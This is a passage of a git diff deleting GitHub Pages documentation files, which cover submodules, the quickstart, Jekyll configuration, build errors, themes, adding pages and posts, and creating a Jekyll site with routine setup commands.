actions/deploy-pages@v3 -{%- endif %} - -# ... -``` - -You can define your jobs to be run on different runners, sequentially, or in parallel. For more information, see [AUTOTITLE](/actions/using-jobs). diff --git a/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md b/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md deleted file mode 100644 index e2a6314aec56..000000000000 --- a/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Using submodules with GitHub Pages -intro: 'You can use submodules with {% data variables.product.prodname_pages %} to include other projects in your site''s code.' -redirect_from: - - /articles/using-submodules-with-pages - - /articles/using-submodules-with-github-pages - - /github/working-with-github-pages/using-submodules-with-github-pages -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -shortTitle: Use submodules with Pages ---- - -If the repository for your {% data variables.product.prodname_pages %} site contains submodules, their contents will automatically be pulled in when your site is built. - -You can only use submodules that point to public repositories, because the {% data variables.product.prodname_pages %} server cannot access private repositories. - -Use the `https://` read-only URL for your submodules, including nested submodules. You can make this change in your `.gitmodules` file. - -## Further reading - -* [Git Tools - Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules) from the _Pro Git_ book -* [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites) diff --git a/content/pages/index.md b/content/pages/index.md deleted file mode 100644 index 03976f514af5..000000000000 --- a/content/pages/index.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: "{% data variables.product.prodname_pages %} documentation" -shortTitle: "{% data variables.product.prodname_pages %}" -intro: 'Learn how to create a website directly from a repository on {% data variables.product.prodname_dotcom %}. Explore website building tools like Jekyll and troubleshoot issues with your {% data variables.product.prodname_pages %} site.' -introLinks: - quickstart: /pages/quickstart - overview: /pages/getting-started-with-github-pages/about-github-pages -featuredLinks: - startHere: - - /pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site - - /pages/getting-started-with-github-pages/creating-a-github-pages-site - - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site{% endif %}' - - '{% ifversion ghes %}/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll{% endif %}' - - '{% ifversion ghec %}/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site{% endif %}' - - '{% ifversion ghes %}/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll{% endif %}' - popular: - - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages{% endif %}' - - /pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll - - '{% ifversion fpt or ghec %}/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages{% endif %}' - - '{% ifversion fpt or ghec %}/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https{% endif %}' - - '{% ifversion ghes %}/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site{% endif %}' - - '{% ifversion ghes %}/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll{% endif %}' - - '{% ifversion ghes %}/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll{% endif %}' - guideCards: - - /pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site - - /pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll - - /pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites -changelog: - label: pages -layout: product-landing -redirect_from: - - /categories/20/articles - - /categories/95/articles - - /categories/github-pages-features - - /categories/96/articles - - /categories/github-pages-troubleshooting - - /categories/working-with-github-pages - - /github/working-with-github-pages -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -children: - - /quickstart - - /getting-started-with-github-pages - - /setting-up-a-github-pages-site-with-jekyll - - /configuring-a-custom-domain-for-your-github-pages-site ---- diff --git a/content/pages/quickstart.md b/content/pages/quickstart.md deleted file mode 100644 index 8868bc5a22d0..000000000000 --- a/content/pages/quickstart.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Quickstart for GitHub Pages -intro: 'You can use {% data variables.product.prodname_pages %} to showcase some open source projects, host a blog, or even share your résumé. This guide will help get you started on creating your next website.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: quick_start -topics: - - Pages -shortTitle: Quickstart -product: '{% data reusables.gated-features.pages %}' ---- - -## Introduction - -{% data variables.product.prodname_pages %} are public webpages hosted and published through {% data variables.product.github %}. The quickest way to get up and running is by using the Jekyll Theme Chooser to load a pre-made theme. You can then modify your {% data variables.product.prodname_pages %}' content and style. - -This guide will lead you through creating a user site at `username.github.io`. - -## Creating your website - -{% data reusables.repositories.create_new %} -1. Enter `username.github.io` as the repository name. Replace `username` with your {% data variables.product.prodname_dotcom %} username. For example, if your username is `octocat`, the repository name should be `octocat.github.io`. - ![Screenshot of {% data variables.product.prodname_pages %} settings in a repository. The repository name field contains the text "octocat.github.io" and is outlined in dark orange.](/assets/images/help/pages/create-repository-name-pages.png) -{% data reusables.repositories.choose-repo-visibility %} -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -1. Under "Build and deployment", under "Source", select **Deploy from a branch**. -1. Under "Build and deployment", under "Branch", use the branch dropdown menu and select a publishing source. - ![Screenshot of Pages settings in a {% data variables.product.prodname_dotcom %} repository. A menu to select a branch for a publishing source, labeled "None," is outlined in dark orange.](/assets/images/help/pages/publishing-source-drop-down.png) -1. Optionally, open the `README.md` file of your repository. The `README.md` file is where you will write the content for your site. You can edit the file or keep the default content for now. -1. Visit `username.github.io` to view your new website. Note that it can take up to 10 minutes for changes to your site to publish after you push the changes to {% data variables.product.github %}. - -## Changing the title and description - -By default, the title of your site is `username.github.io`. You can change the title by editing the `_config.yml` file in your repository. You can also add a description for your site. - -1. Click the **Code** tab of your repository. -1. In the file list, click `_config.yml` to open the file. -1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the file. -1. The `_config.yml` file already contains a line that specifies the theme for your site. Add a new line with `title:` followed by the title you want. Add a new line with `description:` followed by the description you want. For example: - - ```yaml - theme: jekyll-theme-minimal - title: Octocat's homepage - description: Bookmark this to keep an eye on my project updates! - ``` - -1. When you are done editing the file, click **Commit changes**. - -## Next Steps - -For more information about how to add additional pages to your site, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll#about-content-in-jekyll-sites). - -For more information about setting up a {% data variables.product.prodname_pages %} site with Jekyll, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll). diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md deleted file mode 100644 index 327341b8d098..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: About GitHub Pages and Jekyll -intro: 'Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %}.' -redirect_from: - - /articles/about-jekyll-themes-on-github - - /articles/configuring-jekyll - - /articles/configuring-jekyll-plugins - - /articles/using-syntax-highlighting-on-github-pages - - /articles/files-that-start-with-an-underscore-are-missing - - /articles/sitemaps-for-github-pages - - /articles/search-engine-optimization-for-github-pages - - /articles/repository-metadata-on-github-pages - - /articles/atom-rss-feeds-for-github-pages - - /articles/redirects-on-github-pages - - /articles/emoji-on-github-pages - - /articles/mentions-on-github-pages - - /articles/using-jekyll-plugins-with-github-pages - - /articles/adding-jekyll-plugins-to-a-github-pages-site - - /articles/about-github-pages-and-jekyll - - /github/working-with-github-pages/about-github-pages-and-jekyll -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: GitHub Pages & Jekyll ---- - -## About Jekyll - -Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. Jekyll takes Markdown and HTML files and creates a complete static website based on your choice of layouts. Jekyll supports Markdown and Liquid, a templating language that loads dynamic content on your site. For more information, see [Jekyll](https://jekyllrb.com/). - -Jekyll is not officially supported for Windows. For more information, see [Jekyll on Windows](https://jekyllrb.com/docs/windows/#installation) in the Jekyll documentation. - -We recommend using Jekyll with {% data variables.product.prodname_pages %}. If you prefer, you can use other static site generators or customize your own build process locally or on another server. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#static-site-generators). - -## Configuring Jekyll in your {% data variables.product.prodname_pages %} site - -You can configure most Jekyll settings, such as your site's theme and plugins, by editing your `_config.yml` file. For more information, see [Configuration](https://jekyllrb.com/docs/configuration/) in the Jekyll documentation. - -Some configuration settings cannot be changed for {% data variables.product.prodname_pages %} sites. - -```yaml -lsi: false -safe: true -source: [your repo's top level directory] -incremental: false -highlighter: rouge -gist: - noscript: false -kramdown: - math_engine: mathjax - syntax_highlighter: rouge -``` - -By default, Jekyll doesn't build files or folders that: -* Are located in a folder called `/node_modules` or `/vendor` -* Start with `_`, `.`, or `#` -* End with `~` -* Are excluded by the `exclude` setting in your configuration file - -If you want Jekyll to process any of these files, you can use the `include` setting in your configuration file. - -## Front matter - -{% data reusables.pages.about-front-matter %} - -You can add `site.github` to a post or page to add any repository references metadata to your site. For more information, see [Using `site.github`](https://jekyll.github.io/github-metadata/site.github/) in the Jekyll Metadata documentation. - -## Themes - -{% data reusables.pages.add-jekyll-theme %} For more information, see [Themes](https://jekyllrb.com/docs/themes/) in the Jekyll documentation. - -{% ifversion fpt or ghec %} -You can add a supported theme to your site on {% data variables.product.prodname_dotcom %}. For more information, see [Supported themes](https://pages.github.com/themes/) on the {% data variables.product.prodname_pages %} site and [Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll). - -To use any other open source Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, you can add the theme manually.{% else %} You can add a theme to your site manually.{% endif %} For more information, see{% ifversion fpt or ghec %} [themes hosted on {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) and{% else %} [Supported themes](https://pages.github.com/themes/) on the {% data variables.product.prodname_pages %} site and{% endif %} [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll). - -You can override any of your theme's defaults by editing the theme's files. For more information, see your theme's documentation and [Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults) in the Jekyll documentation. - -## Plugins - -You can download or create Jekyll plugins to extend the functionality of Jekyll for your site. For example, the [jemoji](https://github.com/jekyll/jemoji) plugin lets you use {% data variables.product.prodname_dotcom %}-flavored emoji in any page on your site the same way you would on {% data variables.product.prodname_dotcom %}. For more information, see [Plugins](https://jekyllrb.com/docs/plugins/) in the Jekyll documentation. - -{% data variables.product.prodname_pages %} uses plugins that are enabled by default and cannot be disabled: -* [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript) -* [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout) -* [`jekyll-gist`](https://github.com/jekyll/jekyll-gist) -* [`jekyll-github-metadata`](https://github.com/jekyll/github-metadata) -* [`jekyll-optional-front-matter`](https://github.com/benbalter/jekyll-optional-front-matter) -* [`jekyll-paginate`](https://github.com/jekyll/jekyll-paginate) -* [`jekyll-readme-index`](https://github.com/benbalter/jekyll-readme-index) -* [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings) -* [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links) - -You can enable additional plugins by adding the plugin's gem to the `plugins` setting in your `_config.yml` file. For more information, see [Configuration](https://jekyllrb.com/docs/configuration/) in the Jekyll documentation. - -For a list of supported plugins, see [Dependency versions](https://pages.github.com/versions/) on the {% data variables.product.prodname_pages %} site. For usage information for a specific plugin, see the plugin's documentation. - -> [!TIP] -> You can make sure you're using the latest version of all plugins by keeping the {% data variables.product.prodname_pages %} gem updated. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem) and [Dependency versions](https://pages.github.com/versions/) on the {% data variables.product.prodname_pages %} site. - -{% data variables.product.prodname_pages %} cannot build sites using unsupported plugins. If you want to use unsupported plugins, generate your site locally and then push your site's static files to {% data variables.product.github %}. - -## Syntax highlighting - -To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.github %}. For more information about syntax highlighting, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - -By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/rouge-ruby/rouge) highlighter (which is compatible with [Pygments](https://pygments.org/)). If you specify Pygments in your `_config.yml` file, Rouge will be used as the fallback instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your `_config.yml` file. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites). - -> [!NOTE] -> Rouge only recognizes lower-case language identifiers for fenced code blocks. For a list of supported languages, see [Languages](https://rouge-ruby.github.io/docs/file.Languages.html). - -If you want to use another highlighter, such as [highlight.js](https://github.com/highlightjs/highlight.js), you must disable Jekyll's syntax highlighting by updating your project's `_config.yml` file. - -```yaml -kramdown: - syntax_highlighter_opts: - disable : true -``` - -If your theme doesn't include CSS for syntax highlighting, you can generate {% data variables.product.prodname_dotcom %}'s syntax highlighting CSS and add it to your project's `style.css` file. - -```shell -rougify style github > style.css -``` - -## Building your site locally - -{% data reusables.pages.test-locally %} diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md deleted file mode 100644 index a5f906b54c01..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: About Jekyll build errors for GitHub Pages sites -intro: 'If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.github %}, you''ll receive an error message with more information.' -redirect_from: - - /articles/viewing-jekyll-build-error-messages - - /articles/generic-jekyll-build-failures - - /articles/about-jekyll-build-errors-for-github-pages-sites - - /github/working-with-github-pages/about-jekyll-build-errors-for-github-pages-sites -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Jekyll build errors for Pages ---- - -## About Jekyll build errors - -If you are publishing from a branch, sometimes {% data variables.product.prodname_pages %} will not attempt to build your site after you push changes to your site's publishing source.{% ifversion fpt or ghec %} -* The person who pushed the changes hasn't verified their email address. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% endif %} -* You're pushing with a deploy key. If you want to automate pushes to your site's repository, you can set up a machine user instead. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#machine-users). -* You're using a CI service that isn't configured to build your publishing source. For example, Travis CI won't build the `gh-pages` branch unless you add the branch to a safe list. For more information, see [Customizing the build](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches) on Travis CI, or your CI service's documentation. - -> [!NOTE] -> It can take up to 10 minutes for changes to your site to publish after you push the changes to {% data variables.product.github %}. - -{% ifversion build-pages-with-actions %} -If Jekyll does attempt to build your site and encounters an error, you will receive a build error message. -{% else %} -If Jekyll does attempt to build your site and encounters an error, you will receive a build error message. There are two main types of Jekyll build error messages. -* A "Page build warning" message means your build completed successfully, but you may need to make changes to prevent future problems. -* A "Page build failed" message means your build failed to complete. If Jekyll is able to detect a reason for the failure, you'll see a descriptive error message. -{% endif %} - -For more information about troubleshooting build errors, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites). - -{% ifversion build-pages-with-actions %} - -## Viewing Jekyll build error messages with {% data variables.product.prodname_actions %} - -By default, your {% data variables.product.prodname_pages %} site is built and deployed with a {% data variables.product.prodname_actions %} workflow run unless you've configured your {% data variables.product.prodname_pages %} site to use a different CI tool. To find potential build errors, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). For more information about how to re-run the workflow in case of an error, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs). -{% endif %} - -{% ifversion build-pages-with-actions %}{% else %} - -## Viewing your repository's build failures on {% data variables.product.github %} - -You can see build failures (but not build warnings) for your site in the **Settings** tab of your site's repository. -{% endif %} - -## Viewing Jekyll build error messages locally - -We recommend testing your site locally, which allows you to see build error messages on the command line, and addressing any build failures before pushing changes to {% data variables.product.github %}. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll). - -## Viewing Jekyll build error messages in your pull request - -If you are publishing from a branch, when you create a pull request to update your publishing source on {% data variables.product.github %}, you can see build error messages on the **Checks** tab of the pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - -If you are publishing with a custom {% data variables.product.prodname_actions %} workflow, in order to see build error messages in your pull request, you must configure your workflow to run on the `pull_request` trigger. When you do this, we recommend that you skip any deploy steps if the workflow was triggered by the `pull_request` event. This will allow you to see any build errors without deploying the changes from your pull request to your site. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request) and [AUTOTITLE](/actions/learn-github-actions/expressions). - -## Viewing Jekyll build errors by email - -If you are publishing from a branch, when you push changes to your publishing source on {% data variables.product.github %}, {% data variables.product.prodname_pages %} will attempt to build your site. If the build fails, you'll receive an email at your primary email address. {% data reusables.pages.build-failure-email-server %} - -If you are publishing with a custom {% data variables.product.prodname_actions %} workflow, in order to receive emails about build errors in your pull request, you must configure your workflow to run on the `pull_request` trigger. When you do this, we recommend that you skip any deploy steps if the workflow was triggered by the `pull_request` event. This will allow you to see any build errors without deploying the changes from your pull request to your site. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request) and [AUTOTITLE](/actions/learn-github-actions/expressions). - -## Viewing Jekyll build error messages in your pull request with a third-party CI service - -You can configure a third-party service, such as [Travis CI](https://travis-ci.com/), to display error messages after each commit. - -1. If you haven't already, add a file called _Gemfile_ in the root of your publishing source, with the following content: - - ```ruby - source `https://rubygems.org` - gem `github-pages` - ``` - -1. Configure your site's repository for the testing service of your choice. For example, to use [Travis CI](https://travis-ci.com/), add a file named _.travis.yml_ in the root of your publishing source, with the following content: - - ```yaml - language: ruby - rvm: - - 2.3 - script: "bundle exec jekyll build" - ``` - -1. You may need to activate your repository with the third-party testing service. For more information, see your testing service's documentation. diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md deleted file mode 100644 index 734b229c3f92..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Adding a theme to your GitHub Pages site using Jekyll -intro: You can personalize your Jekyll site by adding and customizing a theme. -redirect_from: - - /articles/customizing-css-and-html-in-your-jekyll-theme - - /articles/adding-a-jekyll-theme-to-your-github-pages-site - - /articles/adding-a-theme-to-your-github-pages-site-using-jekyll - - /github/working-with-github-pages/adding-a-theme-to-your-github-pages-site-using-jekyll - - /pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Add theme to Pages site ---- - -People with write permissions for a repository can add a theme to a {% data variables.product.prodname_pages %} site using Jekyll. - -{% data reusables.pages.test-locally %} - -## Adding a theme - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.navigate-publishing-source %} -1. Navigate to `_config.yml`. -{% data reusables.repositories.edit-file %} -1. Add a new line to the file for the theme name. - * To use a supported theme, type `theme: THEME-NAME`, replacing THEME-NAME with the name of the theme as shown in the `_config.yml` of the theme's repository (most themes follow a `jekyll-theme-NAME` naming convention). For a list of supported themes, see [Supported themes](https://pages.github.com/themes/) on the {% data variables.product.prodname_pages %} site. For example, to select the Minimal theme, type `theme: jekyll-theme-minimal`. - * To use any other Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, type `remote_theme: THEME-NAME`, replacing THEME-NAME with the name of the theme as shown in the README of the theme's repository. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} - -## Customizing your theme's CSS - -{% data reusables.pages.best-with-supported-themes %} - -{% data reusables.pages.theme-customization-help %} - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.navigate-publishing-source %} -1. Create a new file called `/assets/css/style.scss`. -1. Add the following content to the top of the file: - - ```scss - --- - --- - - @import "{% raw %}{{ site.theme }}{% endraw %}"; - ``` - -1. Add any custom CSS or Sass (including imports) you'd like immediately after the `@import` line. - -## Customizing your theme's HTML layout - -{% data reusables.pages.best-with-supported-themes %} - -{% data reusables.pages.theme-customization-help %} - -1. On {% data variables.product.prodname_dotcom %}, navigate to your theme's source repository. For example, the source repository for Minimal is `https://github.com/pages-themes/minimal`. -1. In the `_layouts` folder, navigate to your theme's `_default.html` file. -1. Copy the contents of the file. -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.navigate-publishing-source %} -1. Create a file called `_layouts/default.html`. -1. Paste the default layout content you copied earlier. -1. Customize the layout as you'd like. - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files) diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md deleted file mode 100644 index bcde47780dcc..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Adding content to your GitHub Pages site using Jekyll -intro: 'You can add a new page or post to your Jekyll site on {% data variables.product.prodname_pages %}.' -product: '{% data reusables.gated-features.pages %}' -redirect_from: - - /articles/adding-content-to-your-github-pages-site-using-jekyll - - /github/working-with-github-pages/adding-content-to-your-github-pages-site-using-jekyll -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Add content to Pages site ---- - -People with write permissions for a repository can add content to a {% data variables.product.prodname_pages %} site using Jekyll. - -## About content in Jekyll sites - -Before you can add content to a Jekyll site on {% data variables.product.prodname_pages %}, you must create a Jekyll site. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll). - -The main types of content for Jekyll sites are pages and posts. A page is for standalone content that isn't associated with a specific date, such as an "About" page. The default Jekyll site contains a file called `about.md`, which renders as a page on your site at `YOUR-SITE-URL/about`. You can edit the contents of that file to personalize your "About" page, and you can use the "About" page as a template to create new pages. For more information, see [Pages](https://jekyllrb.com/docs/pages/) in the Jekyll documentation. - -A post is a blog post. The default Jekyll site contains a directory named `_posts` that contains a default post file. You can edit the contents of that post, and you can use the default post as a template to create new posts. For more information, see [Posts](https://jekyllrb.com/docs/posts/) in the Jekyll documentation. - -Your theme includes default layouts, includes, and stylesheets that will automatically be applied to new pages and posts on your site, but you can override any of these defaults. For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll#themes). - -{% data reusables.pages.about-front-matter %} - -{% data reusables.pages.test-locally %} - -## Adding a new page to your site - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.navigate-publishing-source %} -1. In the root of your publishing source, create a new file for your page called `PAGE-NAME.md`, replacing PAGE-NAME with a meaningful filename for the page. -1. Add the following YAML frontmatter to the top of the file, replacing PAGE-TITLE with the page's title and URL-PATH with a path you want for the page's URL. For example, if the base URL of your site is `https://octocat.github.io` and your URL-PATH is `/about/contact/`, your page will be located at `https://octocat.github.io/about/contact`. - - ```shell - layout: page - title: "PAGE-TITLE" - permalink: /URL-PATH - ``` - -1. Below the frontmatter, add content for your page. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} -{% data reusables.files.choose_pull_request %} -{% data reusables.files.merge_pull_request %} -{% data reusables.files.write_commit_message_pull_request %} -{% data reusables.files.confirm_merge %} -{% data reusables.files.delete_branch %} - -## Adding a new post to your site - -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.navigate-publishing-source %} -1. Navigate to the `_posts` directory. -1. Create a new file called `YYYY-MM-DD-NAME-OF-POST.md`, replacing YYYY-MM-DD with the date of your post and NAME-OF-POST with the name of your post. -1. Add the following YAML frontmatter to the top of the file, including the post's title enclosed in quotation marks, the date and time for the post in YYYY-MM-DD hh:mm:ss -0000 format, and as many categories as you want for your post. - - ```shell - layout: post - title: "POST-TITLE" - date: YYYY-MM-DD hh:mm:ss -0000 - categories: CATEGORY-1 CATEGORY-2 - ``` - -1. Below the frontmatter, add content for your post. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose-commit-email %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_file_change %} -{% data reusables.files.choose_pull_request %} -{% data reusables.files.merge_pull_request %} -{% data reusables.files.write_commit_message_pull_request %} -{% data reusables.files.confirm_merge %} -{% data reusables.files.delete_branch %} - -Your post should now be up on your site! If the base URL of your site is `https://octocat.github.io`, then your new post will be located at `https://octocat.github.io/YYYY/MM/DD/TITLE.html`. - -## Next steps - -{% data reusables.pages.add-jekyll-theme %} For more information, see [AUTOTITLE](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll). diff --git a/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md deleted file mode 100644 index e2ec5ef6b96e..000000000000 --- a/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Creating a GitHub Pages site with Jekyll -intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.' -product: '{% data reusables.gated-features.pages %}' -redirect_from: - - /articles/creating-a-github-pages-site-with-jekyll - - /github/working-with-github-pages/creating-a-github-pages-site-with-jekyll -permissions: 'People with admin permissions for a repository can create a {% data variables.product.prodname_pages %} site with Jekyll.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pages -shortTitle: Create site with Jekyll ---- - -{% data reusables.pages.org-owners-can-restrict-pages-creation %} - -## Prerequisites - -Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and [AUTOTITLE](/get-started/git-basics/set-up-git). - -{% data reusables.pages.recommend-bundler %} - -{% data reusables.pages.jekyll-install-troubleshooting %} - -## Creating a repository for your site - -{% data reusables.pages.new-or-existing-repo %} - -{% data reusables.repositories.create_new %} -{% data reusables.repositories.owner-drop-down %} -{% indented_data_reference reusables.pages.emu-org-only spaces=3 %} -{% data reusables.pages.create-repo-name %} -{% data reusables.repositories.choose-repo-visibility %} - -## Creating your site - -{% data reusables.pages.must-have-repo-first %} - -{% data reusables.pages.private_pages_are_public_warning %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing PARENT-FOLDER with the folder you want to contain the folder for your repository. - - ```shell - cd PARENT-FOLDER - ``` - -1. If you haven't already, initialize a local Git repository, replacing REPOSITORY-NAME with the name of your repository. - - ```shell - git init REPOSITORY-NAME - > Initialized empty Git repository in /REPOSITORY-NAME/.git/ - # Creates a new folder on your computer, initialized as a Git repository - ``` - -1. Change directories to the repository. - - ```shell - cd REPOSITORY-NAME - # Changes the working directory - ``` - -{% data reusables.pages.decide-publishing-source %} -{% data reusables.pages.navigate-publishing-source %} - For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder. - - ```shell - mkdir docs - # Creates a new folder called docs - cd docs - ``` - - If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch. - - ```shell - git checkout --orphan gh-pages - # Creates a new branch, with no history or contents, called gh-pages, and switches to the gh-pages branch - git rm -rf . - # Removes the contents from your default branch from the working directory - ``` - -1. To create a new Jekyll site, use the `jekyll new` command in your repository's root directory: - - ```shell - jekyll new --skip-bundle . - # Creates a 